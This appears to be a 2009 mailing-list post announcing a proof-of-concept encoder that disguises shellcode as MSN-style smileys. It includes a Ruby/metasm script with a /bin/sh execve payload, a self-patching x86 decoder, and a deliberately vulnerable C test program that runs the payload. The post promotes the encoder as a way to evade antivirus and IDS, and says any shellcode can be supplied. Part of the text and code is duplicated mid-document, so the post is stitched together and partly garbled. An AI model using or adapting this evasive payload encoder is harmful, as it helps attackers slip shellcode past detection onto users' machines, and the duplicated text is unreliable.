Yoann Guillot and myself have been assessing the security of instant
communication applications for a couple of years.
For quite some time now, we have both suspected that it was possible to
conduct both stealth and massive attacks on popular chat clients such as MSN,
AIM, Trillian or mIRC.
Today, we have verified our intuition by creating an encoder that can make any
shellcode look like a smiley. It is possible to encode malicious shellcodes
in emoticons, leaving exploits indistinguishable from genuine chat messages.
This would make massive attacks against instant messaging applications
impossible to catch by anti-virus, IDS or similar signature based
technologies. Moreover, it is possible to conduct attacks with plausible
deniability.
The potential for mass exploitation is undeniable. We are urging Microsoft,
AOL and other administrators of popular chat networks to ban smileys
(especially animated ones) until all the consequences of this attack have
been understood. Twitter and Facebook are likely vulnerable too, although we
didn't conduct specific research yet on those networks.
The attached proof of concept program will compile the sample included
shellcode, encode it into a valid MSN smiley and compile a test C program by
using metasm. While the example shellcode and the compiled test program are
both targeting Linux, you can supply any shellcode you want, including a
Windows one, via the command line.
Please, use as follow:
"apt-get install libc6-dev-i386 mercurial ruby" if required
"hg clone https://metasm.cr0.org/hg/metasm/"
"cd metasm"
put smile.rb in the metasm directory
"ruby ./smile.rb"
"./test.lol"
# assemble the decoder stage
# must be loaded&run at base address = 'LOL!'
dec_stage = Metasm::Shellcode.assemble(Metasm::Ia32.new, <<EOS).encode
.base_addr 0x214c4f4c
// patch the decoder
push 70h
pop eax
// imul constant
push foo
pop edi
xor byte ptr [edi-foo+patch0+3], al
// jmp back * 3
sub byte ptr [edi-foo+patch1+1], al
sub byte ptr [edi-foo+patch2+1], al
sub byte ptr [edi-foo+patch3+1], al
foo:
push ebp
xor ebp, [esp]
and [esp], ebp
pop ebp // mov ebp, 0
push shellcode-70h
pop esi // mov esi, encoded payload (encoded) - 70h
push esi
pop edi // mov edi, encoded payload (decoded) - 70h
charloop:
// read high nibble
push ebp
pop eax
xor al, [esi+70h] // mov al, [esi]
jz shellcode
inc esi
push edi // save edi
// decode high nibble
push ebp
pop edi // must use edi to have a good imul opcode
dec edi
1:
inc edi
cmp [ebx+edi+70h], al
patch1:
jnz 1b
// shl edi, 4
push edi
patch0:
imul edi, [esp], 10h
pop eax
// read low nibble
push ebp
pop eax
xor al, [esi+70h]
inc esi
push edi // save high nibble on stack
// decode low nibble
push ebp
pop edi
dec edi
1:
inc edi
cmp [ebx+edi+70h], al
patch2:
jnz 1b
// ecx <- highnibble ^ lownibble
xor [esp], edi
pop ecx
pop edi // restore edi
// store decoded byte
xor cl, [edi+70h]
xor [edi+70h], cl
inc edi
patch3:
jnz charloop // inconditionnal, edi != 0
base:
db #{smbase.inspect}
shellcode:
db #{encoded.inspect}
EOS
# create the selfpatch
ed = dec_stage.encoded
ed.data[ed.export['patch0']+3] ^= 0x70
ed.data[ed.export['patch1']+1] += 0x70
ed.data[ed.export['patch2']+1] += 0x70
ed.data[ed.export['patch3']+1] += 0x70
shellcode = dec_stage.encode_string
puts 'behold !'
p shellcode
dec_stage.encode_file('sc.lol')
puts "(: shellcode saved as ./sc.lol :)"
communication applications for a couple of years.
For quite some time now, we have both suspected that it was possible to
conduct both stealth and massive attacks on popular chat clients such as MSN,
AIM, Trillian or mIRC.
Today, we have verified our intuition by creating an encoder that can make any
shellcode look like a smiley. It is possible to encode malicious shellcodes
in emoticons, leaving exploits indistinguishable from genuine chat messages.
This would make massive attacks against instant messaging applications
impossible to catch by anti-virus, IDS or similar signature based
technologies. Moreover, it is possible to conduct attacks with plausible
deniability.
The potential for mass exploitation is undeniable. We are urging Microsoft,
AOL and other administrators of popular chat networks to ban smileys
(especially animated ones) until all the consequences of this attack have
been understood. Twitter and Facebook are likely vulnerable too, although we
didn't conduct specific research yet on those networks.
The attached proof of concept program will compile the sample included
shellcode, encode it into a valid MSN smiley and compile a test C program by
using metasm. While the example shellcode and the compiled test program are
both targeting Linux, you can supply any shellcode you want, including a
Windows one, via the command line.
Please, use as follow:
"apt-get install libc6-dev-i386 mercurial ruby" if required
"hg clone https://metasm.cr0.org/hg/metasm/"
"cd metasm"
put smile.rb in the metasm directory
"ruby ./smile.rb"
"./test.lol"
Enjoy your shell !
--
Julien
#!/usr/bin/ruby
# (c) Yoann Guillot 2009
# License: WTFPLv2 (http://sam.zoy.org/wtfpl/)
require 'metasm'
if ARGV.empty?
orig = Metasm::Shellcode.assemble(Metasm::Ia32.new, <<EOS).encode_string
#define __i386__
#include <asm/unistd.h>
jmp geteip
goteip:
pop ebx // argv0
xor edx, edx // envp
push edx
push ebx
mov ecx, esp // argv
lea eax, [edx+__NR_execve]
int 80h
geteip:
call goteip
db "/bin/sh", 0
EOS
else
# content of the files passed as arguments
orig = ARGF.read
end
# arbitrary base16 alphabet
smbase = '()<>:-8o;|D[]{} '
# encode the payload
encoded = orig.unpack('C*').map { |chr| smbase[(chr>>4)&15, 1] + smbase[chr&15, 1] }.join
# assemble the decoder stage
# must be loaded&run at base address = 'LOL!'
dec_stage = Metasm::Shellcode.assemble(Metasm::Ia32.new, <<EOS).encode
.base_addr 0x214c4f4c
// patch the decoder
push 70h
pop eax
// imul constant
push foo
pop edi
xor byte ptr [edi-foo+patch0+3], al
// jmp back * 3
sub byte ptr [edi-foo+patch1+1], al
sub byte ptr [edi-foo+patch2+1], al
sub byte ptr [edi-foo+patch3+1], al
foo:
push ebp
xor ebp, [esp]
and [esp], ebp
pop ebp // mov ebp, 0
push base-70h
pop ebx // mov ebx, key (smbase) - 70h
push shellcode-70h
pop esi // mov esi, encoded payload (encoded) - 70h
push esi
pop edi // mov edi, encoded payload (decoded) - 70h
charloop:
// read high nibble
push ebp
pop eax
xor al, [esi+70h] // mov al, [esi]
jz shellcode
inc esi
push edi // save edi
// decode high nibble
push ebp
pop edi // must use edi to have a good imul opcode
dec edi
1:
inc edi
cmp [ebx+edi+70h], al
patch1:
jnz 1b
// shl edi, 4
push edi
patch0:
imul edi, [esp], 10h
pop eax
// read low nibble
push ebp
pop eax
xor al, [esi+70h]
inc esi
push edi // save high nibble on stack
// decode low nibble
push ebp
pop edi
dec edi
1:
inc edi
cmp [ebx+edi+70h], al
patch2:
jnz 1b
// ecx <- highnibble ^ lownibble
xor [esp], edi
pop ecx
pop edi // restore edi
// store decoded byte
xor cl, [edi+70h]
xor [edi+70h], cl
inc edi
patch3:
jnz charloop // inconditionnal, edi != 0
base:
db #{smbase.inspect}
shellcode:
db #{encoded.inspect}
EOS
# create the selfpatch
ed = dec_stage.encoded
ed.data[ed.export['patch0']+3] ^= 0x70
ed.data[ed.export['patch1']+1] += 0x70
ed.data[ed.export['patch2']+1] += 0x70
ed.data[ed.export['patch3']+1] += 0x70
shellcode = dec_stage.encode_string
puts 'behold !'
p shellcode
dec_stage.encode_file('sc.lol')
puts "(: shellcode saved as ./sc.lol :)"
Metasm::ELF.compile_c(Metasm::Ia32.new, <<EOS).encode_file('test.lol')
#include <string.h>
#include <stdio.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
asm(".global 'open' undef");
asm(".global 'close' undef");
asm(".global 'mmap' undef");
void vuln(void)
{
char buf[128];
int fd;
buf[0] = 0;
for (int i=0 ; i <= sizeof(buf)/16 ; i++)
/*D :-O :*/
strcat(buf, "LOL!LOL!LOL!LOL!");
fd = open("sc.lol", O_RDWR);
int addr = *(int*)buf;
strcpy(addr, mmap(addr & ~0xfff, 0x2000, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED, fd, 0));
close(fd);
}
int main(void)
{
vuln();
return 0;
}
EOS
puts "(: You may run ./test.lol to test the shellcode :)"
[ reply ]